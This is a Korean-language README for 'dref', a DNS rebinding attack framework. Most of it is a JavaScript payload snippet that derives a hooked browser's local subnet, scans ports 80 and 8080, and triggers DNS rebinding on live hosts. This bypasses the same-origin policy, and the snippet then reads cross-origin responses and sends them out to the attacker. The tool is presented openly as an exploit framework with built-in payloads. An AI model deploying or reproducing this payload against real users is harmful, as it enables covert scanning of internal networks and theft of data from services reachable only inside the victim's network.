
DNS 재바인딩 익스플로잇 프레임워크
DNS 리바인딩 공격 프레임워크
이 프로젝트는 더 이상 유지보수되지 않습니다.
dref는 DNS 리바인딩의 복잡한 작업을 처리합니다. 다음은 내장 페이로드 중 하나에서 가져온 코드 조각으로, 후킹된 브라우저에서 로컬 서브넷을 스캔하는 데 프레임워크를 사용하는 방법을 보여줍니다. 라이브 웹 서비스를 식별한 후 GET 응답을 외부로 유출하며, 동일 출처 정책을 우회합니다:
// mainFrame() runs first
async function mainFrame () {
// We use some tricks to derive the browser's local /24 subnet
const localSubnet = await network.getLocalSubnet(24)
// We use some more tricks to scan a couple of ports across the subnet
netmap.tcpScan(localSubnet, [80, 8080]).then(results => {
// We launch the rebind attack on live targets
for (let h of results.hosts) {
for (let p of h.ports) {
if (p.open) session.createRebindFrame(h.host, p.port)
}
}
})
}
// rebindFrame() will have target ip:port as origin
function rebindFrame () {
// After this we'll have bypassed the Same-Origin policy
session.triggerRebind().then(() => {
// We can now read the response across origin...
network.get(session.baseURL, {
successCb: (code, headers, body) => {
// ... and exfiltrate it
session.log({code: code, headers: headers, body: body})
}
})
})
}
Wiki를 방문하여 시작하거나 dref가 헤드리스 브라우저를 공격하는 실제 사례를 확인하세요.
이것은 개발 릴리스입니다 - 프로덕션 환경에서 사용하지 마세요